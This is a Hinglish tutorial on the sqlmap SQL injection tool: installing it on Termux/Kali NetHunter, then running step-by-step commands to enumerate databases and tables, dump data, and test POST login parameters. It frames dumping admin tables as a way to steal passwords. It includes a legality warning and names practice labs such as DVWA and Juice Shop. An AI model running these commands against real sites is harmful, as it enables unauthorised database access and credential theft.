SQLmap एक powerful automated SQL injection tool है जो web applications में SQL injection vulnerabilities detect और exploit करने के लिए use होता है। इसका काम है databases से data extract करना और administrative access प्राप्त करना।
👉 SQL injection testing में यह सबसे popular और advanced tool है।
🔍 SQLmap क्या-क्या कर सकता है
SQL Injection Detect
Vulnerabilities automatically find करना
Database Enumerate
Database names, tables, columns list करना
Data Dump
Table से data extract करना
Password Dump
User passwords extract करना
OS Shell
Remote shell access प्राप्त करना
Read Files
Server files read करना
⚙️ Kali NetHunter / Termux में SQLmap install
Method 1: Using apt (Recommended)
apt update
apt install sqlmapMethod 2: Using pip
pip install sqlmapVerify Installation
sqlmap --version💻 Basic Commands (Use)
👉 Commands को एक-एक करके use कर सकते हो:
Simple Vulnerability Test
sqlmap -u "http://example.com/page?id=1"Get All Databases
sqlmap -u "http://example.com/page?id=1" --dbsGet Tables from Database
sqlmap -u "http://example.com/page?id=1" -D database_name --tablesGet Columns from Table
sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columnsDump Data from Table
sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump🔥 Real Example (Practical समझ)
Step 1: Detect Vulnerability
sqlmap -u "http://vulnerable-site.com/product?id=5"👉 SQLmap automatically tests different injection techniques → Boolean, Error-based, Union-based, etc.
📊 Output समझो
👉 मान लो output कुछ ऐसा आता है:
🧠 इसका मतलब:
System Database
Default MySQL database
Application Database
Products, orders, users data
Admin Database
Admin credentials, settings
👉 अब आप admin_db में जाकर admin table dump कर सकते हो → Passwords चुरना possible!
🔥 Advanced: Post Data Injection
👉 कई times injection POST request में होती है (login forms):
Step 1: Capture Login Request (Burp/ZAP)
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=testStep 2: Save to file (login.txt)
Step 3: Run SQLmap on POST data
sqlmap -r login.txt -p username👉 -r flag file read करता है, -p flag कहता है कि कौन सा parameter test करना है
बिना permission किसी भी database को access करना illegal है
Practice के लिए use करो:
- DVWA (Damn Vulnerable Web App)
- OWASP Juice Shop
- SQL Injection Labs (PortSwigger)
🧩 Related Tools
Burp Suite
Web application testing
OWASP ZAP
Free web security scanner
SQLmap = "Database का Master Key"
SQL injection vulnerability होने पर, यह tool पूरी database को dump कर सकता है। Admin passwords, user data, सब कुछ चुर सकता है।